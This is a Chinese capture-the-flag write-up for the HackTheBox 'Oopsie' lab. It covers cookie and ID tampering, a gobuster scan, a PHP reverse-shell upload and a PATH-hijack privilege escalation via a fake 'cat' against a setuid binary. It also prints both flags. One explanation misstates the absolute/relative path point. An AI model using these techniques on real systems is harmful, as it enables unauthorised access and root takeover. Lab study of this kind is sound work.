渗透测试学习day6
文章目录
- 靶机:Oopsie
- Task1
- Task2
- Task3
- Task4
- Task5
- Task6
- 7-12解题过程
- Task7
- Task8
- Task9
- Task10
- 提交user的flag
- 提交root的flag
靶机:Oopsie
这里是引用
Task1
问题:使用什么样的工具可以拦截网络流量?
proxy
Task2
问题:
/cdn-cgi/login
打开bp抓包,然后open browser打开自带浏览器
然后在Target处找到web结构,存在登录路径
Task3
问题:在Firefox中可以修改哪些内容以访问上传页面?
cookie
我们在登陆界面以guest身份登录,点击upload发现只有admin才行
我们点击Account看看,发现对应url的参数id值为2
猜测admin用户对应id为1,成功登录
再回到upload的地方,修改cookie
刷新一下即可访问
Task4
问题:管理员用户的访问ID是什么?
34322
获取过程参照前文
Task5
问题:上传文件时,该文件出现在服务器的哪个目录中?
/uploads
扫一下目录
gobuster dir --url 10.129.238.134:80 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
Task6
问题:包含与robert用户共享的密码的文件是什么?
db.php
解题步骤如下
我们目前的用户为admin,但是后面反弹shell不成功
用bp爆破id为30是super admin
,修改下cookie
我们先cp将kali自带的脚本复制到我们的目录上
sudo cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/
然后赋予权限
sudo chmod 777 php-reverse-shell.php
修改ip为openvpn给的
上传反弹shell脚本访问/uploads/php-reverse-shell.php
,在本地开启监听1234端口,反弹成功
然后找到/var/www/html/cdn-cgi/login
,得到密码
7-12解题过程
访问以下路径
cd /home/robert
读取其中的user.txt,拿到user的flag
切换为robert用户,密码为前面获取的db.php中的密码
使用id命令看下robert是否有特殊的权限,发现其还属于一个叫bugtracker
查看一下这两个组的命令执行权限,在用户组robert中没发现特殊的文件。在bugtracker用户组中发现了一个比较特殊的文件
find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件
我们发现该文件有s权限并且该文件所有者是root,s权限代表其他用户在执行该文件时会以该文件的所有者的身份执行。在这里也就是以root的权限执行该文件。
然后用strings命令查看下
strings和cat的功能类似,但是strings可以查看二进制文件,如果用cat查看二进制文件会出现乱码。
发现有个命令
其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限
添加恶意cat命令后就要开始调用,我们先执行/usr/bin/bugtracker
根据文件提示随便输入一个ID,这里就以输入1为例。然后发现系统成功的以root权限执行了/bin/bash
了
既然是root了,那么读取root下面的root.txt文件,拿到最后的flag
Task7
问题:使用选项“-group bugtracker”运行什么可执行程序来识别bugtrackergroup拥有的所有文件?
find
Task8
问题:无论哪个用户开始运行bugtracker可执行文件,运行时将使用什么用户权限?
root
Task9
问题:SUID代表什么
Set Owner User ID
Task10
问题:以不安全的方式调用的可执行文件的名称是什么?
cat
提交user的flag
f2c74ee8db7983851ab2a96a44eb7981
提交root的flag
af13b0bee69f8a877c3faf667f7beacf